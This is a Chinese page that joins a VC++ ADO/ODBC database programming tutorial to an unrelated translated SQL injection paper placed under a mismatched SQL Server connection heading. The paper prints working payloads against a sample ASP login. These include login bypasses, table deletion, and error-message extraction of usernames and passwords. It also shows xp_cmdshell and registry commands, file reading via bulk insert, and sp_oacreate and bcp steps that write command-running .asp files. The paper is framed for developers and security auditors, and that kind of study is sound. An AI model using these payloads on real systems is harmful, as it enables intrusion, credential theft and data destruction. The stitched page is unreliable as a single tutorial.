1. VC++ 【数据库 查询记录】
境
创建一个标准的MFC AppWizard(exe)应用程序,然后在使用ADO数据库的InitInstance函数中初始化OLE/COM库(因为ADO库是一个COM DLL库)。
本例为:
BOOL CAdotestDlg::OnInitDialog()
{
::CoInitialize(NULL); //初始化OLE/COM库环境
}
程序最后要调用 ::CoUninitialize();//释放程序占用的COM 资源。
另外:
m_pRecordset->Close(); 注意!!!不要多次关闭!!!!!!!!!!!!
m_pConnection->Close();
m_pRecordset = NULL;
m_pConnection = NULL;
2. 引入ADO库文件
使用ADO前必须在工程的stdafx.h文件最后用直接引入符号#import引入ADO库文件,以使编译器能正确编译。代码如下:
#import "C:\Program Files\common files\system\ado\msado15.dll" no_namespace rename("EOF","adoEOF")
ADO类的定义是作为一种资源存储在ADO DLL(msado15.dll)中,在其内部称为类型库。类型库描述了自治接口,以及C++使用的COM vtable接口。当使用#import指令时,在运行时Visual C++需要从ADO DLL中读取这个类型库,并以此创建一组C++头文件。这些头文件具有.tli 和.tlh扩展名,读者可以在项目的目录下找到这两个文件。在C++程序代码中调用的ADO类要在这些文件中定义。
程序的第三行指示ADO对象不使用名称空间。在有些应用程序中,由于应用程序中的对象与ADO中的对象之间可能会出现命名冲突,所以有必要使用名称空间。如果要使用名称空间,则可把第三行程序修改为: rename_namespace("AdoNS")。第四行代码将ADO中的EOF(文件结束)更名为adoEOF,以避免与定义了自己的EOF的其他库冲突。
3.利用智能指针进行数据库操作
在CaboutDlg头文件中定义两个ADO智能指针类实例,并在对话框中加入一个ListCtrl。
class CAdotestDlg : public CDialog
{
_ConnectionPtr m_pConnection;
_RecordsetPtr m_pRecordset;
ClistCtrl m_List;
......
}
ADO库包含三个智能指针:_ConnectionPtr、_CommandPtr和_RecordsetPtr。
_ConnectionPtr通常被用来创建一个数据连接或执行一条不返回任何结果的SQL语句,如一个存储过程。
_CommandPtr返回一个记录集。它提供了一种简单的方法来执行返回记录集的存储过程和SQL语句。在使用_CommandPtr接口时,可以利用全局_ConnectionPtr接口,也可以在_CommandPtr接口里直接使用连接串。_RecordsetPtr是一个记录集对象。与以上两种对象相比,它对记录集提供了更多的控制功能,如记录锁定、游标控制等。
在使用ADO程序的事件响应中OnButton1加入以下代码:
void CAdotestDlg::OnButton1()
{
m_List.ResetContent();
m_pConnection.CreateInstance(_uuidof(Connection)); //初始化Connection指针
m_pRecordset.CreateInstance(_uuidof(Recordset));//初始化Recordset指针
try
{
m_pConnection->Open("DSN=ADOTest","","",0); //连接叫作ADOTest的ODBC数据源
//注意:这是连接不需要用户ID或密码的open 函数
// 否则形式为 ->Open("DSN=test;uid=sa;pwd=123;","","",0);
// 执行SQL语句得到一个记录集把其指针赋值给m_pRecordset
CString strSql="select * from middle";
BSTR bstrSQL = strSql.AllocSysString();
m_pRecordset->Open(bstrSQL,(IDispatch*)m_pConnection,adOpenDynamic,adLockOptimistic,adCmdText);
//adOpenDynamic:动态 adLockOptimistic乐观封锁法 adCmdText:文本查询语句
while(!m_pRecordset->adoEOF)//遍历所有记录
{
//取纪录字段值方式之一
_variant_t TheValue; //VARIANT数据类型
TheValue = m_pRecordset->GetCollect("BIG_NAME");//得到字段BIG_NAME的值
if(TheValue.vt!=VT_NULL)
m_List.AddString((char*)_bstr_t(TheValue));
//将该值加入到列表控件中
//取纪录字段值方式之二
// _bstr_t TheValue1=m_pRecordset->Fields->GetItem("BIG_NAME")->Value;
// CString temp=TheValue1.copy();
// m_List.AddString(temp);
//数据类型转换
_variant_t vUsername,vBirthday,vID,vOld;
TRACE("id:%d,姓名:%s,年龄:%d,生日:%s\r\n",
vID.lVal,(LPCTSTR)(_bstr_t)vUsername,vOld.lVal,(LPCTSTR)(_bstr_t)vBirthday);
m_pRecordset->MoveNext();//转到下一条纪录
}
m_pRecordset->Close();
m_pConnection->Close();
}
catch (_com_error e)//异常处理
{
AfxMessageBox(e.ErrorMessage());
}
m_pRecordset->Close(); //注意!!!不要多次关闭!!!!否则会出错
m_pConnection->Close();
m_pRecordset = NULL;
m_pConnection = NULL;
}
程序中通过_variant_t和_bstr_t转换COM对象和C++类型的数据, _variant_t类封装了OLE自治VARIANT数据类型。在C++中使用_variant_t类要比直接使用VARIANT数据类型容易得多。
好,编译后该程序就能运行了,但记住运行前要创建一个叫ADOTest的ODBC数据源。该程序将把表middle中的BIG_NAME字段值显示在列表控件中。
4.执行SQL命令并取得结果记录集
为了取得结果记录集,我们定义一个指向Recordset对象的指针:_RecordsetPtr m_pRecordset;
并为其创建Recordset对象的实例: m_pRecordset.CreateInstance("ADODB.Recordset");
SQL命令的执行可以采用多种形式,下面我们一进行阐述。
(1)利用Connection对象的Execute方法执行SQL命令
Execute方法的原型如下所示:
_RecordsetPtr Connection15::Execute ( _bstr_t CommandText, VARIANT * RecordsAffected, long Options )
其中CommandText是命令字串,通常是SQL命令。
参数RecordsAffected是操作完成后所影响的行数,
参数Options表示CommandText中内容的类型,Options可以取如下值之一:
adCmdText:表明CommandText是文本命令
adCmdTable:表明CommandText是一个表名
adCmdProc:表明CommandText是一个存储过程
adCmdUnknown:未知
Execute执行完后返回一个指向记录集的指针,下面我们给出具体代码并作说明。
_variant_t RecordsAffected;
///执行SQL命令:CREATE TABLE创建表格users,users包含四个字段:整形ID,字符串username,整形old,日期型birthday
m_pConnection->Execute("CREATE TABLE users(ID INTEGER,username TEXT,old INTEGER,birthday DATETIME)",
&RecordsAffected,
adCmdText);
///往表格里面添加记录
m_pConnection->Execute("INSERT INTO users(ID,username,old,birthday) VALUES (1, ''''Washington'''',25,''''1970/1/1'''')",&RecordsAffected,adCmdText);
///将所有记录old字段的值加一
m_pConnection->Execute("UPDATE users SET old = old+1",&RecordsAffected,adCmdText);
///执行SQL统计命令得到包含记录条数的记录集
m_pRecordset = m_pConnection->Execute("SELECT COUNT(*) FROM users",&RecordsAffected,adCmdText);
_variant_t vIndex = (long)0;
_variant_t vCount = m_pRecordset->GetCollect(vIndex);///取得第一个字段的值放入vCount变量
上两句可以写成— _variant_t vCount = m_pRecordset->GetCollect((_variant_t)((long)0));
m_pRecordset->Close();///关闭记录集
CString message;
message.Format("共有%d条记录",vCount.lVal);
AfxMessageBox(message);///显示当前记录条数
(2)利用Command对象来执行SQL命令
_CommandPtr m_pCommand;
m_pCommand.CreateInstance("ADODB.Command");
_variant_t vNULL;
vNULL.vt = VT_ERROR;
vNULL.scode = DISP_E_PARAMNOTFOUND;///定义为无参数
m_pCommand->ActiveConnection = m_pConnection;///非常关键的一句,将建立的连接赋值给它
m_pCommand->CommandText = "SELECT * FROM users";///命令字串
m_pRecordset = m_pCommand->Execute(&vNULL,&vNULL,adCmdText);///执行命令,取得记录集
在这段代码中我们只是用Command对象来执行了SELECT查询语句,Command对象在进行存储过程的调用中能真正体现它的作用。下次我们将详细介绍。
(3)直接用Recordset对象进行查询取得记录集
实例——
void CGmsaDlg::OnDBSelect()
{
// TODO: Add your control notification handler code here
_RecordsetPtr Rs1; //定义Recordset对象
_bstr_t Connect("DSN=GMS;UID=sa;PWD=;");//定义连接字符串
_bstr_t Source ("SELECT count(*) FROM buaa.mdb010"); //要执行的SQL语句
::CoInitialize(NULL); //初始化Rs1对象
HRESUL hr = Rs1.CreateInstance( __uuidof( Recordset ) );
//省略对返回值hr的判断
Rs1->Open( Source,
Connect,
adOpenForwardOnly,
adLockReadOnly,
-1 );
_variant_t temp=Rs1->GetCollect(_variant_t((long)0));
CString strTemp=(char* )(_bstr_t)temp;
MessageBox("OK!"+strTemp);
}
例如
m_pRecordset->Open("SELECT * FROM users",
_variant_t((IDispatch *)m_pConnection,true),
adOpenStatic,
adLockOptimistic,
adCmdText);
Open方法的原型是这样的:
HRESULT Recordset15::Open ( const _variant_t & Source,
const _variant_t & ActiveConnection,
enum CursorTypeEnum CursorType,
enum LockTypeEnum LockType,
long Options )
其中:
①Source是数据查询字符串
②ActiveConnection是已经建立好的连接(我们需要用Connection对象指针来构造一个_variant_t对象)
③CursorType光标类型,它可以是以下值之一,请看这个枚举结构:
enum CursorTypeEnum
{
adOpenUnspecified = -1,///不作特别指定
adOpenForwardOnly = 0,///前滚静态光标。这种光标只能向前浏览记录集,比如用MoveNext向前滚动,这种方式可以提高浏览速度。但诸如BookMark,RecordCount,AbsolutePosition,AbsolutePage都不能使用
adOpenKeyset = 1,///采用这种光标的记录集看不到其它用户的新增、删除操作,但对于更新原有记录的操作对你是可见的。
adOpenDynamic = 2,///动态光标。所有数据库的操作都会立即在各用户记录集上反应出来。
adOpenStatic = 3///静态光标。它为你的记录集产生一个静态备份,但其它用户的新增、删除、更新操作对你的记录集来说是不可见的。
};
④LockType锁定类型,它可以是以下值之一,请看如下枚举结构:
enum LockTypeEnum
{
adLockUnspecified = -1,///未指定
adLockReadOnly = 1,///只读记录集
adLockPessimistic = 2,悲观锁定方式。数据在更新时锁定其它所有动作,这是最安全的锁定机制
adLockOptimistic = 3,乐观锁定方式。只有在你调用Update方法时才锁定记录。在此之前仍然可以做数据的更新、插入、删除等动作
adLockBatchOptimistic = 4,乐观分批更新。编辑时记录不会锁定,更改、插入及删除是在批处理模式下完成。
};
⑤Options可以取如下值之一:
adCmdText:表明CommandText是文本命令
adCmdTable:表明CommandText是一个表名
adCmdProc:表明CommandText是一个存储过程
adCmdUnknown:未知
5. 记录集的遍历、更新
根据我们刚才通过执行SQL命令建立好的users表,它包含四个字段:ID,username,old,birthday
以下的代码实现:打开记录集,遍历所有记录,删除第一条记录,添加三条记录,移动光标到第二条记录,
更改其年龄,保存到数据库。
_variant_t vUsername,vBirthday,vID,vOld;
_RecordsetPtr m_pRecordset;
m_pRecordset.CreateInstance("ADODB.Recordset");
m_pRecordset->Open("SELECT * FROM users",
_variant_t((IDispatch*)m_pConnection,true),
adOpenStatic,
adLockOptimistic,
adCmdText);
while(!m_pRecordset->adoEOF)
{
vID = m_pRecordset->GetCollect(_variant_t((long)0));///取得第1列的值,从0开始计数,
///你也可以直接给出列的名称,如下一行
vUsername = m_pRecordset->GetCollect("username");///取得username字段的值
vOld = m_pRecordset->GetCollect("old");
vBirthday = m_pRecordset->GetCollect("birthday");
///在DEBUG方式下的OUTPUT窗口输出记录集中的记录
if(vID.vt != VT_NULL && vUsername.vt != VT_NULL && vOld.vt != VT_NULL && vBirthday.vt != VT_NULL)
TRACE("id:%d,姓名:%s,年龄:%d,生日:%s\r\n",
vID.lVal,
(LPCTSTR)(_bstr_t)vUsername,
vOld.lVal,
(LPCTSTR)(_bstr_t)vBirthday);
m_pRecordset->MoveNext();///移到下一条记录
}
m_pRecordset->MoveFirst();///移到首条记录
m_pRecordset->Delete(adAffectCurrent);///删除当前记录
///添加三条新记录并赋值
for(int i=0;i<3;i++)
{
m_pRecordset->AddNew();///添加新记录
m_pRecordset->PutCollect("ID",_variant_t((long)(i+10)));
m_pRecordset->PutCollect("username",_variant_t("叶利钦"));
m_pRecordset->PutCollect("old",_variant_t((long)71));
m_pRecordset->PutCollect("birthday",_variant_t("1930-3-15"));
}
m_pRecordset->Move(1,_variant_t((long)adBookmarkFirst));///从第一条记录往下移动一条记录,即移动到第二条记录处
m_pRecordset->PutCollect(_variant_t("old"),_variant_t((long)45));///修改其年龄
m_pRecordset->Update();///保存到库中
备注:多次查询可把查询过程做成一个函数ExecuteSQL让m_pRecordset获得连接指针m_pConnection查询结果
void ExecuteSQL(_ConnectionPtr m_pConnection, _RecordsetPtr m_pRecordset,CString strSql)
{
//执行Select 语句
BSTR bstrSQL = strSql.AllocSysString();
try
{
m_pRecordset->Open(bstrSQL,(IDispatch*)m_pConnection,adOpenDynamic,adLockOptimistic,adCmdText);
//adOpenDynamic:动态 adLockOptimistic乐观封锁法 adCmdText:文本查询语句
}
catch(_com_error error)
{
CString errorMessage;
errorMessage.Format("%s",(LPTSTR)error.Description());
AfxMessageBox(errorMessage);
}
}
//出错处理:
3127——没有找到目标表
3092——目标表已经存在
例如:
catch(const _com_error e)
{
AfxMessageBox(e.Description());
long errorCode=e.WCode();
if(3127==errorCode) AfxMessageBox("表不存在");
if(3092==errorCode) AfxMessageBox("表已经存在");
return FALSE;
}
2. VC++6.0 ODBC数据库查询
http://www.vckbase.com/study/article/vc_chap/chap10.htm
第十课 数据库编程
MFC提供了对数据库编程的强大支持。对于数据库的访问,MFC提供了两组类:ODBC(Open Database Connectivity)和DAO(Database Access Object)。利用这两个功能强大的类,用户可以方便的开发出基于ODBC或DAO的数据库应用。
这一讲将重点介绍下列内容:
数据库的基本概念
ODBC基本概念
MFC的ODBC类简介
CDatabase类
CRecordset类
CRecordView类
用AppWizard和ClassWizard编写Enroll数据库应用例程
DAO和DAO类
自动注册DSN和创建表
小结
3. VC6.0怎么将查询的表显示出来
方案1: 最简单的办法,用DBGrid 控件,这个输出是绑定数据集的,效率很高。
方案2: FlexGrid控件,这个控件需要将数据集的内容,一条一条的输入到控件中,应当进行分页显示。
以上2种方案都是ActiveX控件。
方案3: vc自的list控件,显示方法同方案2。
以上3种方案建议vc6.0开发者使用。
vs2010的方法可能很多,大部分本人也没用过,就不表态了。不过上面3种,vs2010也可以用。
4. 如何使用vc6.0和sql2000进行连接和数据库操作(查询插入更新删除),最好举例
这份文档是详细讨论SQL注入技术,它适应于比较流行的IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过各种各样的方法注入到应用程序中,并且记录与攻击相关的数据确认和数据库锁定。
这份文档的预期读者为与数据库通信的WEB程序的开发者和那些扮演审核WEB应用程序的安全专家。
介绍:
SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。
当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。
一个典型的SQL语句如下:
Select id,forename,surname from authors
这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:
Select id,forename,surname from authors where forename'john' and surname='smith'
需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,
如下:
Forename:jo'hn
Surname:smith
查询语句变为:
Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
当数据库试图去执行这个查询时,它将返回如下错误:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn',但是失败。如果攻击者提供特别的输入如:
Forename:jo';drop table authors—
Surname:
结果是authors表被删除,造成这种结果的原因我们稍后再讲。
看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:
Select id,forename,surname from authors where id=1234
在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用'#'限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。
我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。
这是一个提交表单页的代码,让用户输入用户名和密码:
Login Page
Login
Username:
Password:
下面是process_login.asp的代码,它是用来控制登陆的:
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
<%
function trace( str ) {
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn ) {
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF) {
rso.close();
%>
ACCESS DENIED
<% Response.end return; }
else {
Session("username") = "" + rso("username");
%>
ACCESS GRANTED
Welcome, " ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>
出现问题的地方是process_lgin.asp中产生查询语句的部分:
Var sql="select * from users where username='"+username+"' and password='"+password+"'";
如果用户输入的信息如下:
Username:';drop table users—
Password:
数据库中表users将被删除,拒绝任何用户进入应用程序。'—'符号在Transact-SQL中表示忽略'—'以后的语句,';'符号表示一个查询的结束和另一个查询的开始。'—'位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。
攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:
Username:admin'—
攻击者可以使用users表中第一个用户,输入如下:
Username:' or 1=1—
更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:
Username:' union select 1,'fictional_user','some_password',1—
这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。
通过错误消息获得信息
这个几乎是David Litchfield首先发现的,并且通过作者渗透测试的;后来David写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。
为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:
Create talbe users(
Id int,
Username varchar(255),
Password varchar(255),
Privs int
)
然后将下面的用户插入到users表中:
Insert into users values(0,'admin','r00tr0x!',0xffff)
Insert into users values(0,'guest','guest',0x0000)
Insert into users values(0,'chris','password',0x00ff)
Insert into users values(0,'fred','sesame',0x00ff)
如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个'1',这样只给他自己一个低权限的用户。
幸运地,如果从应用程序(默认为ASP行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。
(下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)
首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:
Username:' having 1=1—
这样将会出现如下错误:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下:
Username:' group by users.id having 1=1—
出现的错误如下:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最终攻击者得到了username字段后:
‘ group by users.id,users.username,users.password,users.privs having 1=1—
这句话并不产生错误,相当于:
select * from users where username=''
因此攻击者现在知道查询涉及users表,按顺序使用列'id,username,password,privs'。
能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:
Username:' union select sum(username) from users—
这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
这告诉了我们'username'字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。
Username:' union select sum(id) from users—
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。
这样攻击者就可以写一个好的insert查询,例如:
Username:';insert into users values(666,'attacker','foobar','0xffff)—
这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:
select * from master ..sysmessages
解释这些将实现有趣的消息。
一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:
Username:' union select @@version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
这句尝试去将内置的'@@version'常量转化成一个整型数字,因为users表中的第一列是整型数字。
这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:
Username:' union select min(username),1,1,1 from users where username>'a'—
这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。
Username:' union select min(username),1,1,1 from users where username>'admin'—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦攻击者确定了用户名,他就可以开始收集密码:
Username:' union select password,1,1,1 from users where username='admin'—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
攻击者使用这个当作用户名登陆(都在一行)
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—
这就创建了一个foo表,里面只有一个单独的列'ret',里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。
然后攻击者就可以取得我们要得到的字符串:
Username:' union select ret,1,1,1 from foo—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
/process_login.asp, line 35
然后丢弃(删除)表来清楚脚印:
Username:'; drop table foo—
这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。
获得更高的权限
一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到:
1. 在数据库服务器上,以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。
2. 利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键(前提是SQLSERVER是以系统权限运行的)
3. 利用其他存储过程去改变服务器
4. 在连接的服务器上执行查询
5. 创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码
6. 使用'bulk insert'语法去读服务器上的任意文件
7. 使用bcp在服务器上建立任意的文本格式的文件
8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序,使它能做任何ASP脚本可以做的事情
这些只列举了非常普通的可能攻击方法的少量,攻击者很可能使用其它方法。我们介绍收集到的攻击关于SQL服务器的明显攻击方法,为了说明哪方面可能并被授予权限去注入SQL.。我们将依次处理以上提到的各种方法:
[xp_cmdshell]
许多存储过程被创建在SQLSERVER中,执行各种各样的功能,例如发送电子邮件和与注册表交互。
Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:
Exec master..xp_cmdshell 'dir'
将获得SQLSERVER进程的当前工作目录中的目录列表。
Exec master..xp_cmdshell 'net user'
将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。
[xp_regread]
另一个有用的内置存储过程是xp_regXXXX类的函数集合。
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
这些函数的使用方法举例如下:
exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
这将确定什么样的会话连接在服务器上是可以使用的
exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主机间共享的情况下,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。
这很容易想象到一个攻击者可以利用这些函数读取SAM,修改系统服务的配置,使它下次机器重启时启动,或在下次任何用户登陆时执行一条任意的命令。
[其他存储过程]
xp_servicecontrol过程允许用户启动,停止,暂停和继续服务:
exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server'
下表中列出了少量的其他有用的存储过程:
Xp_availablemedia 显示机器上有用的驱动器
Xp_dirtree 允许获得一个目录树
Xp_enumdsn 列举服务器上的ODBC数据源
Xp_loginconfig Reveals information about the security mode of the server
Xp_makecab 允许用户在服务器上创建一个压缩文件
Xp_ntsec_enumdomains 列举服务器可以进入的域
Xp_terminate_process 提供进程的进程ID,终止此进程
[Linked Servers]
SQL SERVER提供了一种允许服务器连接的机制,也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存放在master.sysservers表中。如果一个连接的服务器已经被设置成使用'sp_addlinkedsrvlogin'过程,当前可信的连接不用登陆就可以访问到服务器。'openquery'函数允许查询脱离服务器也可以执行。
[Custom extended stored procedures]
扩展存储过程应用程序接口是相当简单的,创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接库到SQL服务器上,还有其它包括了多种自动通讯的通讯机制,比如HTTP下载和FTP脚本。
一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程(这种情况下,我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马):
Sp_addextendedproc 'xp_webserver','c:\temp\xp_foo.dll'
在正常的方式下,这个扩展存储过程可以被运行:
exec xp_webserver
一旦这个程序被运行,可以使用下面的方法将它除去:
xp_dropextendedproc 'xp_webserver'
[将文本文件导入表]
使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:
create table foo( line varchar(8000) )
然后执行bulk insert操作把文件中的数据插入到表中,如:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
可以使用上述的错误消息技术,或者使用'union'选择,使文本文件中的数据与应用程序正常返回的数据结合,将数据取回。这个用来获取存放在数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的。
[使用bcp建立文本文件]
使用'bulk insert'的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。'bcp',即'bulk copy program'
既然 bcp可以从SQL服务进程外访问数据库,它需要登陆。这代表获得权限不是很困难,既然攻击者能建立,或者利用整体安全机制(如果服务器配置成可以使用它)。
命令行格式如下:
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
'S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,这里为'foobar'
[ActiveX automation scripts in SQL SERVER]
SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:
(1)这个例子使用'wscript.shell'对象建立了一个记事本的实例:
wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',NULL,'notepad.exe'
我们可以通过指定在用户名后面来执行它:
Username:'; declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'notepad.exe'—
(2)这个例子使用'scripting.filesystemobject'对象读一个已知的文本文件:
--scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret=sp_oamethod @f,'readline',@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,'readline',@line out
end
(3)这个例子创建了一个能执行通过提交到的任何命令:
-- scripting.filesystemobject example – create a 'run this'.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'createtextfile',@f out,'c:\inetpub\wwwroot\foo.asp',1
exec @ret=sp_oamethod @f,'writeline',NULL,''
需要指出的是如果运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。
(4)这些例子阐述了这个技术的适用性;它可以使用'speech.voicetext'对象引起SQL SERVER发声:
declare @o int,@ret int
exec sp_oacreate 'speech.voicetext',@o out
